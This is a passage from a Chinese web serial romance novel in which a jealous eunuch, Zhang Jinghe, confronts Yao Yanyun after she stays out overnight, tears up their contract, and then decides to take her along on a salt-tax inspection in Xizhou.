看完后,两人移步到窗边的软榻上坐下,续了茶,林苑与姚砚云是同龄,话题渐渐宽泛起来。聊到兴头上,林苑眼中闪着亮色,笑道:“我夫君在甘肃镇巡视军务,前几日寄回些当地居民自酿的好酒,一起尝尝鲜?” 姚砚云道:“一小杯倒是可以试试。” 林苑立刻吩咐丫鬟取来酒壶和酒杯,琥珀色的酒液倒入杯中,酒香醇厚。两人本就酒量平平,可越聊越投机,杯盏交替间,竟不知不觉喝得多了些。 这酒性子烈,几杯下肚,两人都渐渐晕晕乎乎,脸颊泛起红晕,眼神也添了几分迷离,也说起了胡话。 “张公公能满足你吗?” “能啊,他可厉害了。” “多厉害?” “很厉害,说了你也不知道。” 不知道过了多久,窗外天色已然擦黑,林苑见姚砚云比自己醉得更厉害,眼神已然有些涣散,便提议:“天色晚了,又下着雪,要不你今晚住这里吧,也好歇缓歇缓。” ““不过若是你不回去,张公公怕是会担心。我派人送你回去也行,路上也安稳些。” 姚砚云猛地抬手一挥,语气带着醉后的嗔怨:“他巴不得我不回去呢!我今晚就住这儿!” 姚砚云晕乎乎地想着,张景和这几日不会出宫,林苑是方淑宁的好友,又是朝廷重臣的夫人,如今她夫君远在甘肃镇公务缠身,府中并无男眷,这般留宿倒也不算不合规矩。于是便唤来近身丫鬟,哑着嗓子叮嘱:“你去告知随我同来的马冬梅,让她派人回府通报三喜和管事,就说我今日偶感不适,明日再回。” 吩咐妥当后x,姚砚云便在丫鬟的搀扶下,脚步虚浮地去客房歇息了。 再次醒来时,已是次日午时。那烈酒的后劲颇足,姚砚云只觉得头痛欲裂,四肢绵软无力,挣扎着坐起身,仍有些昏沉。林苑的状况也不比她好多少,眉宇间带着几分宿醉后的倦意。 林苑道:“你的侍女马冬梅,昨日喝得比你还凶,如今还在睡着呢。” 昨日的酒,府中的几个大丫鬟也分了一些,马冬梅跟着她们一起,一下子没控制住,喝醉了。 林苑和姚砚云一起用了午饭,夫君不在家的日子里,她难得遇上这般能聊到一处的人,饭后便又拉着姚砚云谈天说地,兴致勃勃。 等两人聊罢,马冬梅也醒了,天色已近酉时,林苑安排了马车送两人回府。 姚砚云踏入张府大门,穿过游廊准备往踏月轩方向走时,远远便见六婶提着裙裾,满脸焦灼地朝她快步奔来:“姚姑娘,你终于回来了,你去哪里了,你怎么才回来啊,老爷找不到你,都要疯掉了。” 姚砚云听得一头雾水,眉尖微蹙:“他找我做什么?他这几天不是在宫里吗?” “哎呀姚姑娘,这不是一两句话能说清的!”六婶的声音愈发急促,“姚姑娘,你先去老爷那屋里吧,再晚些,真要出大事了!。” 姚砚云觉得莫名其妙的,就让马冬梅先回去,她则去了望雪坞。 谁知一进院子就看见,三喜和小元正并肩跪在冰冷的青石板上。 “你们跪在这里做什么?”,姚砚云快步上前,伸手就想把两人拉起来。三喜和小元见她回来,眼睛先是一亮,满是激动,可随即又把头埋得更低,任凭她怎么拉,都执意不肯起身。 “姚姑娘,你回来就好,人没事就好。”,三喜的声音带着几分沙哑,“这是老爷罚我们的,该受着。” 姚砚云气得不行:“你们做错了什么?他要这样罚你们。” 可三喜和小元只是低着头,嘴唇嗫嚅着,却半个字都不敢多说。姚砚云又试了两次想把人扶起来,两人却像是钉在了地上一般,死活不肯动。正在僵持间,吉祥急匆匆地跑了过来,脸上满是急切:“姚姑娘,你这是去哪里了啊,老爷这一整天都在找你。” 姚砚云这才察觉到事情不对劲。昨日她明明特意让马冬梅回府通报,说要在林苑府中留宿,怎么府里人像是全然不知?她心里咯噔一下,转念一想,怕是马冬梅昨日也喝了酒,竟把通报的事给忘了 吉祥道:“姚姑娘,你还是先去看看老爷吧。” 姚砚云犹豫了一下,轻声问:“他……很生气?” 吉祥叹了口气:“是。” 姚砚云小声嘀咕:“那我能不能不进去啊……” “姚姑娘,你还是去吧。”吉祥苦着脸劝道,“不然小元和三喜,还不知道要跪到什么时候呢。” 姚砚云咬了咬唇,迈着沉重的步伐像屋内走去。 她先是轻轻叩了叩房门,里头立刻传来张景和不耐烦到极致的一声:“滚出去!” 姚砚云只能硬着头皮擅自推开门。屋内,张景和斜倚在藤椅上,双眼紧闭。 她放轻脚步,小声唤道:“公公,我回来了” 话音刚落,张景和猛地睁开眼。看清来人的瞬间,心里的石头终于落了地,甚至掠过一丝明显的笑意,可那笑意转瞬即逝,取而代之的是更浓的冷冽。 “和你的蓝太医昨晚去哪里了?舍得回来了?” 姚砚云简直要吐血了,她真没见过像他这么有想象力的人,她道:“公公您误会了,我昨日是在林苑府里留宿的,林苑是我新认识的朋友,也是方淑宁的朋友。” 她知道他对方淑宁有些意见,又道:“您若是不信,尽可去打听,林苑住北里胡同,她夫君在朝中任巡抚一职,一查便知有这人。” “那巡抚姓甚名谁?”,张景和追问,语气里满是审视。 她哪里知道他叫什么!谁没事去打听别人老公的名字啊,她道:“我没问” “姚砚云,你当我是傻子不成?”,张景和霍然起身,几步走到她面前。一股淡淡的酒气钻入鼻腔,他脸色瞬间铁青,怒火直窜头顶:“你竟然还喝了酒!昨晚醉得人事不省了吧?还记得自己做过什么吗?” 姚砚云道:“当然记得,我昨晚和林苑喝了酒,就是因为喝醉了,才在她那边留宿的。” 张景和转头冲门外喊了吉祥,吩咐他立刻去查姚砚云所言虚实,转过身,他目光依旧锐利如刀:“倒是巧得很,你昨晚消失,蓝砚舟也不见了踪影。我已派人查过,他昨晚既不在宫中,也未回府。” 姚砚云只觉得荒谬,她都快忘了蓝砚舟是谁,他又来提,忍不住拔高了些音量:“公公您把我当成什么人了?在您眼里,我就是那种会随便跟陌生男子在外过夜的人吗?” 张景和道:“既然是在朋友家留宿,为什么不派人回府通报一声?这对你来说很难吗?” 姚砚云满心委屈,她明明交代过马冬梅,可马冬梅偏偏忘了。她低着声道:“我忘记了” “你不是忘记,是根本没放在心上!”,张景和的声音陡然拔高,“张府于你而言,不过是个可有可无的歇脚地罢了。” “公公您真的想多了,我只是一时疏忽”,姚砚云还想辩解,却见张景和猛地将一块碎纸片扔到她面前,带着怒意道:“那这个是什么?你最好给我个合理的解释!” 姚砚云弯腰捡起,心头一凛,这不是陈忠义给原身写的那封信吗?怎么会落到张景和手里? “怎么?无话可说了?”,张景和冷笑一声。 姚砚云定了定神,从容道:“我不知道这废纸是谁给您的,但给您的人想必说了,这是半个月前捡到的吧?半个月前的三天前,可不是昨晚。” 张景和道:“这么说,你是承认这信是你的了?” 姚砚云道:“是我的,我也不瞒您,这信是之前陈忠义给我写的,我那天收拾东西找出来的,我觉得晦气,就让马冬梅拿去烧了,您也不用这样来质疑我,要是这信真的有什么,我怎会傻到让冬梅在能被人瞧见的地方焚烧?您说是不是?” “那你倒说说,信里写了什么了不得的内容,让你留了这么久才觉得晦气?”,张景和显然不信,目光紧盯着她。 姚砚云自然不能透露信中实情,只能找了个借口:“他从前对我有过好感,可您也知道,我对他半分意思也无,当初才求您帮我取消了与他的婚事。” “没意思,你还留着他的信?”,张景和嗤笑一声,满是讥讽。 姚砚道:“就是因为没意思,才把信烧掉啊。” “伶牙俐齿,你倒是最会说。”,张景和脸色依旧难看,“心里有没有鬼,你自己清楚。” “您不是已经派吉祥去查了吗?我有没有鬼,很快便见分晓。”,被他这么一吵,宿醉未醒的头顿时又晕乎乎的,也懒得再费口舌解释。忽然,她想起门外还跪着的小元和三喜,连忙道:“这事说到底是我的错,与小元、三喜无关,您让他们起来吧,别再跪着了。” 张景和道:“他们连自己的本分都做不好,自然该罚!” 姚砚云道:“那我知道了,那按照您这么说,最应该受罚的人是我,那我去跪吧。” “你敢踏出这扇门试试!”张景和一把拉住她,力道大得几乎要捏碎她的手腕。 姚砚云挣扎了一下,眼眶微微泛红:“公公,您若是觉得我丢了张府的脸面,要打要罚我都认。可外面天寒地冻,小元还是个小姑娘,她怎么禁得住这般折腾?”,她深吸一口气:“您若是实在不解气,把我赶出张府也行。往后我再也不在您眼前晃悠,再也不会丢您的脸面了。” “你终于说出心里话了。”,张景和眼神复杂,既有怒意,又有几分不易察觉的怅然,“你无非就是想走。姚砚云,做人总得有点契约精神。” 姚砚云道:“公公您放心好了,说好两年就是两年,您就再忍我两年吧,到时候我定会滚的远远的,不会碍着你的眼。” 张景和道:“什么叫我忍你?分明是你巴不得走!” 姚砚云道:“我确实想走。我不走,迟早要被人挤兑死在x这张府里,反正,我在这里从来都是个不讨人喜欢的。” “如果您实在看我不顺眼,您这边要是没意见,我现在就回去收拾东西,今晚便走。” “至于芸娘那边我自然会和她解释,我会和她说,我出京去探亲去了。” 张景和阴着脸:“你这是拿干娘来压我?” 姚砚云道:“反正迟走早走都是走,不如就现在吧,也省得往后再添不快。” 奇怪的是,张景和竟没有再反驳,只是胸膛剧烈起伏着,额角的青筋隐隐跳动,显然是气到了极点。他看了姚砚云一眼,猛地转身进了房,脚步声重得像是在发泄怒火。片刻后,他手里攥着一张纸,大步流星地走了出来。 “姚砚云,这就是当初你我签下的契约书!”,他把纸狠狠拍在桌案上,“啪”的一声脆响,震得桌上的茶杯都微微晃动。 话音未落,他便当着姚砚云的面,双手用力,将那张纸撕得粉碎,他一把将碎纸扬在屋里:“这契约书虽有你我的签名、按了手印,可我说它算数,它才算数,我说它不算数,它就是一堆废纸!” 他死死盯着姚砚云,“你这辈子都走不掉了!” 第62章 他这是发的什么疯? 不过是一夜未归而已,何至于此!何至于此!仿佛她当真做出了什么有辱门楣,红杏出墙的丑事一般! 姚砚云看着他失控的模样,心头只觉一阵荒谬又烦躁,她想着两人再这样话赶话,只会是火上浇油,怕是吵到天荒地老也难有半分结果,索性,她敛了眼底所有情绪,猛地转过身去,背脊挺得笔直,故意不看他。 可耳畔却偏偏回响着他刚才说的狠话,契约书已被他亲手撕碎,还说她这辈子都走不掉了。 姚砚云指尖微微发颤,一个荒谬却又让人心头发寒的念头不受控制地冒了出来。 难不成……难不成他是想……灭口? 可这念头刚落下,她忽然又想起他方才那颠三倒四的话语,一下子让她走,一下子又不想让她走。 更让她心头微动的是,她进屋时推门而入的那一瞬间,撞进她眼底的,分明是他骤然亮起的眼眸,以及那一闪而过的笑意。只是那笑意太过短暂,快得让她以为是自己的错觉,下一秒便被铺天盖地的怒火所取代。 难不成……难不成他这般暴怒,并非是怀疑她,而是因为她夜不归宿,让他担惊受怕,让他慌了神? 可他为什么要这样呢? 姚砚云暗自思忖着,半天没吭声。张景和见状,忍不住伸手扯了扯她的衣袖,语气依旧带着几分硬邦邦的别扭:“说话,把脸转过来。” 她缓缓转过身,眼底还凝着未散的委屈,声音轻轻的:“我还能说什么?反正您打从一开始,就没信过我。” 张景和重重哼了一声,在一旁的梨花木凳上坐下,脸色依旧冷着,却比方才的歇斯底里缓和了些:“要我信你,总得有让我信的理由。” 姚砚云见状,也轻轻挨着他身侧坐下,“方才两人都在气头上,说话难免冲了些。现在咱们都冷静了,我好好跟您解释一遍。” 说着,她抬手蘸了点桌上的凉茶,在光滑的桌面上比划起来:“第一件事,我是不是在林苑家留宿,等吉祥回来一问便知,暂且先放一放。” “第二件,您怀疑我跟蓝太医出去了,这事儿也等吉祥回来,自然真相大白,也先不提。” “第三件,那封信,的确是陈忠义写给我的,但跟我这次夜不归宿半点儿关系都没有,也不用深究。” 她指尖顿在桌面,抬眼望向他,目光清亮又带着几分试探:“第四件,是我没及时跟您通报我不回来住,让您担心了。”,话音落,她定定看着他的眼睛,“公公,这第四件事,才是您今天发这么大脾气的真正原因,对不对?” “您是担心我,是吗?” 张景和被她这般直白又灼热的目光盯着,心头猛地一跳,像是被说中了心事般,不自然地别过脸去。 姚砚云见状,忍不住伸手轻轻将他的脸转了回来:“是吗?也请您回答我这个问题。” 张景和被她逼得没法,索性梗着脖子嗤笑一声:“我就不回答你,你能奈我何?”,说罢,干脆整个人转到了另一边,背脊挺得笔直,像是在跟谁置气。 姚砚云起身换到他对面的凳子上坐下,正好对着他的脸:“我看您能转到哪里去。” 姚砚云看着张景和这扭扭捏捏的模样,有一瞬间觉得,他其实也挺好拿捏的,方才整个人还和着了火一样,此刻倒像个闹别扭的孩童。 等了片刻,见张景和终于不情不愿地转回头,她单手撑着下巴,眼底带着笑意调侃道:“公公,想明白了?” 张景和看了她一眼,语气依旧硬/。邦邦的:“伶牙俐齿!” 姚砚云道:“公公既然心里清楚了,那就让小元和三喜先起来吧,外面天寒地冻的,再跪下去该冻坏了。” 张景和挑眉,似笑非笑地看着她:“你倒还记挂着旁人,就不怕我连你一起处罚?” “公公最是明辨是非,断不会不分青红皂白罚我。”,姚砚云顺势捧了他一句,眼神诚恳。 张景和却不买账,沉声道:“无规矩不成方圆。他们办事不力,闯了祸,若是一点处罚都没有,日后我这张府岂不乱了套?” 姚砚云眼珠一转,提议道:“那这样好不好?跪着多无趣,不如我去打他们几板子,既罚了人,也不算太过严苛,公公您看可行?” 张景和一眼看穿她的心思,哼了一声:“少来这套,别以为我不知道你想手下留情。” 两人正僵持着,门外忽然传来急促的脚步声,伴随着吉祥气喘吁吁的声音。 姚砚云眼睛一亮,连忙道:“吉祥公公,快进来,把你打听来的都说说,声音大点,让公公也听听!” 吉祥随即把自己去林苑府中核实的情况一五一十说了出来,所言所语,竟与姚砚云先前的解释一字不差。 张景和听着,紧绷了一整晚的下颌线终于缓缓松弛下来,眼底的最后一丝阴霾散去,他悄然松了口气,悬在心头的那块石头,总算是落了地。 姚砚云见他神色松动,忍不住抬了抬下巴,语气带着几分小得意:“现在知道您误会我了吧?” 张景和目光扫过满地狼藉的碎纸,那是他盛怒之下撕碎的契约书,此刻看着竟有些扎眼,心头莫名涌上一丝说不清道不明的滋味,他顿了顿,忽然扯出一抹略显不自然的笑:“这契约书我回头补一份给你就是了。” 姚砚云道:“我那边还有一份呢,那公公您有空的时候就给我补一份吧。” 张景和: 后来姚砚云便顺势退了出去,去院外叫起了还跪着的三喜和小元,叮嘱他们早些回去歇息,不必再跪着。 洗漱过后,姚砚云躺在床榻上,被褥的暖意包裹着身子,可脑海里却翻来覆去都是今晚的一幕幕。 张景和为什么这么生气啊?他为什么要担心自己?他为什么总是吃蓝砚舟的醋啊。 一个个疑问在心头盘旋,忽然间,一个破天荒的念头如惊雷般炸响——难不成,难不成他喜欢自己? 姚砚云猛地僵在床榻上,被自己这个大胆的猜想吓得心脏怦怦直跳,简直荒谬得可怕!他怎么会喜欢上自己?他怎么会喜欢上自己呢?明明每次都被她气得吹胡子瞪眼,好几次都险些背过气去! 难不成是因为自己长得漂亮?她下意识摸了摸自己的脸颊,那完了!自己的确长得漂亮啊!那若是这样,他便是看上了自己的脸? 还有自己丰韵的身材她忽然想起那次在静安寺,她压/。着他的身子,那张素来冷硬的脸竟红透了耳根,连脖颈都泛着薄红,眼神慌乱得不敢与她对视,莫非他是那个时候动了心思? 可他是个太监啊,就算看上了,他想做什么?他又能做什么? 越想越乱,姚砚云像条被火烤得不安分的小虫子,在床榻上翻来覆去,被褥都被她搅得乱七八糟,脸颊却莫名烧得滚烫。 可再静下心来细想,哪怕是在她最落魄无助、寄人篱下的时候,张景和虽时常对她冷言冷语,带着几分居高临下的强势,却从未有过半分不尊重,更不曾有过逾矩之举。这般看来,他似乎也不是那种只看重皮囊的轻浮之人。 那便不是馋x她的脸……那他馋什么? 姚砚云咬着枕巾,心头冒出一个更让她心慌的念头:总不能……总不能是馋她这个人吧? 这个想法一出,她更是辗转难眠,指尖都有些发烫,脑子里乱糟糟的,一会儿是他暴怒时的模样,一会儿是他对着她笑的样子,一会儿又是他说“你这辈子都走不掉了”时的执拗眼神,越想越觉得心乱如麻,整夜都没睡安稳。 翌日,姚砚云早早就起来了,洗漱妥当后,她去前厅用了早膳,一碗温热的红枣粥下肚,暖了暖脾胃,可心头那点说不清道不明的躁动,却依旧没散。 她把富贵叫了过来:“公公今日进宫了吗?” 富贵道:“回姚姑娘,公公寅时刚过就起身入宫了,走的时候天还没亮呢。” 姚砚云道:“那他走之前,可有说什么吩咐?或是……或是提到我了吗?” 富贵道:“没有呢姑娘,公公走得急,只吩咐了管家照看府中琐事,并未提及姑娘。” 姚砚云道:“那你可知,公公这次入宫,要待多久才能回来?” 富贵道:“约莫三到五日吧。” 姚砚云又扭扭捏捏地问了一句:“三到五日啊……。那……那公公走之前,可有过来踏月轩这边一趟?” 富贵觉得今日的姚姑娘奇怪的很,往日对自家老爷都是很疏远的,也从未这般追问过他的行踪,今日这般模样,倒像是有什么心事。他仔细回想了一番,还是摇了摇头:“不曾来过呢,公公是从主院直接出发的。” “哦,这样啊。”,姚砚云顿时松了一口气。 喜欢一个人的话,总会惦记对方,他要入宫五日,如果他真的喜欢自己,总得过来见一面,说句告别也好,叮嘱几句也罢,总归是该有个声响的。可张景和不仅没提她,甚至没踏足踏月轩半步,这般冷淡疏离,哪里有半分喜欢的样子? 想来昨夜那些荒唐的猜想,不过是她自己胡思乱想罢了。 抬手拍了拍自己的脸颊,低声道:“姚砚云啊姚砚云,别再瞎琢磨了,不过是各取所需的契约关系,想那么多做什么。” 第63章 司礼监值班房内,冯大祥端坐主位,目光扫过阶下五位秉笔太监,将差事逐条交代清楚。 待众人躬身退下,他却抬手叫住了张景和:“西州的差事,你还是趁早动身,万岁爷那边已经问过两回了。” 西州乃本朝第一盐仓重地,都转盐运使司便设在此处,统辖三座分司、两座批验所以及三十座盐场,掌淮盐产销全链,干系重大。盐税是国之命脉,军饷派发、灾年赈济、百官俸禄皆仰仗于此。 可近年盐务积弊渐生,盐引混杂、偷税漏税之事屡禁不止。朝廷为攥紧盐利,特意增设“盐税使”一职,专以圣上名义巡视监督,这差事,当初张景和可是铆足了劲去争,若不是后来姚砚云误打误撞帮了个大忙,这肥差也落不到他头上。 且西州富庶之名,连当今圣上都记挂在心。前些日子圣上欲修新宫殿,户部以国库没钱为理由,拒绝了圣上的请求,圣上便把主意打到了盐税上。 按旧例,盐税使出巡本是开春后才办的事,如今却要提前。 张景和道:“我这边规划一下行程。” 冯大祥道:“五日后你便出发。” 张景和回到公所时,已是深夜。洗漱过后准备入睡,他却辗转难安,索性起身坐在书桌前,点亮了桌上的灯,拿出一张素笺,提笔思索起来。 京师到西州,按正常马车的速度,大约需两天,若路上无耽搁,来回便是四天。到了西州后,要核查盐场账目、会见盐运司官员等一切事务,这般算下来,快则十日便能处理妥当。前后加起来,他至少要离开京师十四天。 今夜,他必须把这十四天里,自己所负责的日常事务,妥善安排好,免得届时出了差错。 就着灯火,不过两刻钟的功夫,一张条理清晰的安排表便已完成。他放下笔,伸了个懒腰,揉了揉发酸的肩膀,正要起身去歇息,目光却无意间扫到了床边柜子里,摆放的那双靴子。 他猛地想到,他最快也得半个月才回来,可如今府里又多了一个,不让人省心的人出来。 得想个万全之策才行!既要让自己能安心去西州办事,无后顾之忧,也得让府里那位安安稳稳待着,别闹出什么乱子。 第三日,张景和便出了宫。 一回张府,他先去耳房洗漱,换了身素色常服,问过富贵这几日府中有无动静,跟着便传了三喜来。 “姚砚云这几日去了何处?做了些什么?”,他开门见山。 三喜道:“回老爷,姚姑娘除了昨日去了趟铺子,再没去过别处。她去铺子时,小的全程跟着。” 顿了顿,又补充道:“只是姚姑娘在几日里做了什么,小的就不清楚了,这几日姚姑娘没传唤小的去她院里。” 张景和听完,摆摆手让三喜退下。没片刻,富贵又走了进来,问道:“老爷,午饭是现在端上来,还是等你歇会儿再备?” “晚些吧,眼下还早。”,他目光落在窗外,随口应道。 “是,老爷。”,富贵应声告退。 刚走两步,却听张景和又开口:“对了,备两个人的饭菜。” 吩咐完,他才起身去了寝室,打算先眯上一小会儿,养养精神。 另一边,姚砚云在自己院里,快要气炸了! 她费了好些功夫打听,才弄明白,那日递到张景和手里的废纸,竟然是兰花送过去的!这个女人,为何偏要跟自己过不去? 自打她进府,兰花就没给过好脸色。原以为之前的不快早该过去了,没成想过了这么久,对方竟会来这么一出,在背后阴她! 女人何苦为难女人! 她越想越气,抬手就往桌上捶了一下,茶盏都震得晃了晃。恰在这时,外头传来富贵的敲门声,说张景和叫她去望雪坞。 来得正好!她本就想找张景和说道说道。兰花三番五次针对她,真当她是没脾气的软柿子?既然对方非要结仇,那她也不必手下留情。 姚砚云鼓着腮帮子,几乎是踩着快步冲出门去,连裙摆扫过门槛都没在意。 一进正厅,见张景和正在喝茶,她便凑过去,很自然地在他身侧坐下:“公公,您是什么时候出宫的啊?” 张景和道:“不久前。” 姚砚云偷偷打量他的神情——眉峰没拧着,语气也平和,瞧着今日心情倒还不错,正好。 她收起笑意,一脸认真地看向他:“公公,我觉得您处事不公。” 张景和眉头微挑,放下茶盏:“哦?那你说说,我哪里不公了。” 姚砚云道:“公公您前几日,是不是说过这样的话,无规矩不成方圆,下面的人办事不力,闯了祸,若是一点处罚都没有,日后你这张府岂不乱了套。” “我的确说过。”,张景和颔首。 得到确认,姚砚云立刻露出委屈神色:“那前几日,那片废纸,是哪个人给您的?” “给您废纸的人,居心叵测啊!难道您没看出来,这个人是想调拨你我的关系吗?” “那人明知道您当时很生气,可还是把这废纸送到您眼前,那不是想气死您吗?” “公公,小元和三喜都罚了,那这么说来,给您东西的这个人,也要罚不是嘛?” 张景和却话锋一转,反问她:“那你觉得,她挑拨成功了吗?” 姚砚云愣了愣,随即撇撇嘴:“我又不是您肚子里的小虫,怎么知道您在想什么?” 顿了顿,她话锋又转,带着点不满:“不过有一点我看出来了,您偏心!这个人做错事您不罚,对小元和三喜却罚得那样重。” 张景和看着她气鼓鼓的模样,嘴角微不可察地勾了勾:“那你想怎么罚?” “该怎么罚就怎么罚!”姚砚云说得斩钉截铁。 张景和不再多言,扬声叫进富贵:“你去跟吉祥说,把兰花送到庄子上做事。她若不愿意,便让她自行离开,总之,不必再出现在张府了。” 吩咐完,他转头看向姚砚云,眼底带着点笑意:“现在,满意了吗?” 姚砚云瞬间眉开眼笑,弯着眼睛点头:“满意了!” 不多时,饭菜便被端了上来。 姚砚云看着眼前多出来的那副碗筷,心里顿时嘀咕起来,这富贵真是狗拿耗子多管闲事!擅自拿自己的碗筷做什么!马冬梅还等着她一起吃饭呢!再说了,他见过几次她x和张景和一起吃饭的。 她正低着头腹诽,张景和的声音忽然从对面传来,语气平淡无波:“吃吧。” 姚砚云: 张景和没再多说,自顾自拿起筷子,夹了一筷子翠绿的时蔬,慢慢嚼着。姚砚云盯着碗沿,忽然想起前几日晚上的事,心里顿时一阵发慌。 她捏着筷子,一边偷偷往嘴里扒饭,一边时不时抬眼瞄向张景和,见他只顾着吃饭,半点没往自己这边看,那颗悬着的心才慢慢落了下来。 看来真是自己想多了,他就是单纯留自己吃顿饭而已。姚砚云暗忖着,这才松了口气,放下心里的顾虑,拿起筷子正经吃了起来,甚至还敢夹一筷子远处的红烧肉,入口酥软,咸香入味,好吃,是真的好吃。 —————— 夜已至深,书房窗棂上还映着烛火的微光。吉祥轻叩三下木门,声音压得极低:“老爷,陈大人那事,已经办妥了。” 门内传来张景和的回应:“知道了。时辰不早,你先回去歇息吧。” 吉祥刚转过身,衣摆还没动,张景和又叫住了他:“回来。” 吉祥脚步一顿,随即推门而入。 张景和指尖捏着一支狼毫,笔尖悬在纸上,却没落下。他抬眼看向吉祥:“还有两日就要动身去西州,之前让你备的车马、文书,都妥当了? “回老爷,都按你的吩咐备好了,车马检修过三遍,文书也核对无误,随行的人手也都安排妥了。”,吉祥回话,条理清晰。 张景和听着,缓缓点了点头,指尖的狼毫终于落在纸上,却只是随意勾了一笔。 他沉默片刻,又开口道:“我们这一去要小半个月,府里的事你得安排好。”,说到这儿,他顿了顿,语气多了几分斟酌,“府里的侍卫先不撤走,就留在府中吧,多盯着点后院的动静。” 吉祥躬身应下。 张景和又问:“对了,那个姓蓝的,查出他的动静没有?” “回老爷,”,吉祥道,“蓝太医这段时日没在太医院当值,去了京郊的村子,说是那边闹了传染病,他去给村民诊疗,已经去了快一个月了。” 张景和握着狼毫的手紧了紧:“那他什么时候回来?” 吉祥道:“找太医院的人问了,说最晚这个月月底,等村里的病情稳住了,他就会返程。” 话音刚落,书房里顿时没了声响,连烛火燃烧的“噼啪”声都显得格外清晰。张景和脸上的神色沉了下来,眉峰拧在一起,眼底藏着几分不易察觉的烦躁。 吉祥跟着张景和多年,早已摸透了自家老爷的心思。他偷偷抬眼瞥了一眼,见张景和盯着桌面,脸色阴沉,心里便有了数。 “老爷,眼下虽入了冬,可西州的热闹半分没减,还有很多文人墨客特意去西淮河那边赏雪呢,岸边的画舫依旧夜夜笙歌,不如你带上姚姑娘一起?也让她瞧瞧这冬日西州的景致,总比在这儿对着冷院子强。” 张景和把狼毫往桌上一扔:“胡闹!我是去办事的,不是去玩的。”—— 作者有话说:最近工作很忙,所以更的晚一些,谢谢每晚追更,还有给我留言的姐妹,我这个糊糊才能每天下班后依旧和打了鸡血一样写写写[爆哭] 第64章 吉祥被张景和突如其来的厉色吓了一激灵,忙不迭躬身,语气带着几分慌张地解释:“老爷,你这一去西州便是半月,我实在想着……才敢起了这个念头。” 张景和眉峰一蹙,语气冷硬:“半月便半月,我带个无关紧要的人去做什么?只会碍手碍脚。” 吉祥心里暗忖,莫非自己猜错了自家老爷的心思?还说姚姑娘是无关紧要的人!不等他多想,张景和已摆了摆手,沉声道:“出去吧。” 不多时,张景和将书房案上的书卷、笔墨略一收拾,便起身往寝室去了。 躺在床上,吉祥那些话却总在耳边打转,让他辗转难眠。他一面暗怪吉祥多管闲事,一面又忍不住心绪烦乱,不过还不是因为姚砚云总是做一些让他丢了脸面的事情,画避火图,夜不归宿,他只是不想别人丢了他的脸面而已! 仅此而已! 可若真因这点事,就把人带去西州,反倒显得他小肚鸡肠、斤斤计较。 呵呵,这可不是自己的做派!—— 踏月轩是满室欢声笑语。 用过早饭,姚砚云拉着马冬梅、三喜和小元围坐一桌,玩起了骨牌。规矩说好,赢了的能得赏钱,输了的就得在脸上贴一张白色长纸条。偏生姚砚云今日运气背到了家,脸上几乎贴满了纸条,只剩一双眼睛在纸条缝隙里滴溜溜转,模样又好气又好笑。 “三喜,你是不是作弊了?怎么每次都是你赢!”,姚砚云抬手扒了扒脸上的纸条,语气带着几分不服气。 三喜把赢来的铜钱往面前一拢,得意洋洋地扬了扬下巴:“我可没作弊,是姑娘自己运气不佳。”,话音刚落,他忽然捂住肚子,眉头皱起,“不行,我得先去趟茅房!” 姚砚云立刻伸手拽住他的衣袖,挑眉道:“你该不是玩不起,想溜吧?” 马冬梅和小元也跟着起哄,一左一右拉住三喜的胳膊:“就是就是,赢了就想跑?没门!” 三喜连忙求饶:“三位姑奶奶,我是真的急!再耽误就来不及了。” 四人正闹得不可开交,忽听得房门被轻轻推开,一道清浅的脚步声传来。四人几乎同时扭头望去,见门口立着的竟是张景和,顿时像被按下了动作,嬉闹声戛然而止,一个个下意识地挺直了腰背,脸上的笑意也僵住了。 姚砚云抬眼望去,只见张景和穿了一身水蓝色的夹绒和领夹衣,料子是上好的云锦,在晨光里泛着柔和的光泽。她还是头一回见他穿这般文雅温润的颜色,往日里,他不是身着大红官袍,便是穿素净的青灰、月白常服,竟让她不自觉地多看了几眼。 马冬梅、小元和三喜见张景和进来,连忙起身躬身行礼,齐声唤了句“老爷”,识相地没再多留,轻手轻脚地退了出去,顺带替二人带上了房门。 张景和目光落在姚砚云脸上,只见那些白色长纸条横七竖八贴了满脸,只剩一双圆溜溜的眼睛露在外面,瞧着又傻又好笑,竟忍不住低笑出声:“有意思吗?” 姚砚云仰头看了他一眼:“有意思。” 说着,抬手一根根撕扯脸上的纸条。 撕完纸条,她转身倒了杯温茶,双手递到张景和面前:“公公,您找我,是有什么事情吗?” 张景和接过茶盏,指尖触到温热的瓷壁,慢悠悠啜了一口,目光在屋内扫了一圈,却没立刻回话。姚砚云见状,也自顾自拿起自己的茶杯,小口抿着,屋内一时只剩浅浅的啜茶声。 半晌,张景和才缓缓开口:“我明日要启程去西州处理盐务,约莫得去半个月。” 姚砚云心里暗道,怪不得他今日主动登门,原来是要出远门,想来是来交代琐事的。 她抬眼笑道:“那路程可不近,公公的行囊物件都收拾妥当了?” 张景和道:“都安排妥当了。” 姚砚云笑意更深了些:“那公公便放心去吧,我在京里会好好照顾自己,不用您挂心。”,说罢,又低头茗了两口茶,掩饰着心底的轻松,他一走,自己总算能清静些了。 谁知刚放下茶杯,就听见张景和淡淡道:“你和我一起去。” “噗——”,姚砚云一口茶差点喷出来,连忙抬手捂住嘴,呛得脸颊泛红,咳了好几声才缓过来。西州路途遥远,他又是替朝廷办差,带着自己算怎么回事? 张景和看着她这惊慌失措的模样:“怎么?吓死了?” “没、没有”,姚砚云摆了摆手,顺了顺胸口的气,勉强笑道,“是喝得太急了。”,她定了定神,试探着问,“公公,您这是去处理盐务的正事,带着我去,会不会耽误您啊?” 张景和道:“多少会影响一些。” 姚砚云愣了愣,下意识追问道:“那您还带我去?” 张景和嗤笑一声:“到了西州,少不了要会见当地官员。带着你,一来是给我充个门面,二来,也免得那些人总想着给我送女人来。” 他顿了顿,抬眼瞥了姚砚云一眼,补充道:“简单点说,就是偶尔陪我应付几场应酬便罢了,其余时间没你的事,你爱去哪里就去哪里,不耽误你。” 姚砚云这才恍然大悟,合着是拿她当挡箭牌呢!她内心其实更想x呆在京师的,可她太了解张景和的性子了,自己越是反抗,他怕是越要拧着来。 思忖片刻,她便敛了神色:“能替公公分忧,做这个挡箭牌,我自然愿意。”,说着,起身道,“那我这就去和冬梅收拾行李,半个月的物件,也得好好归置一番。” 张景和道:“她不去,就你去。” 姚砚云瞬间僵住,转头不敢置信地看着他:“为什么呀?我除了陪您应酬,其余时间多无聊啊,连个说话解闷的人都没有。” “你当我是带你去游山玩水的?”,张景和道,“我是去西州办事的,带着丫鬟同行,不知情的还以为我是携家带口去享乐,像什么样子?” 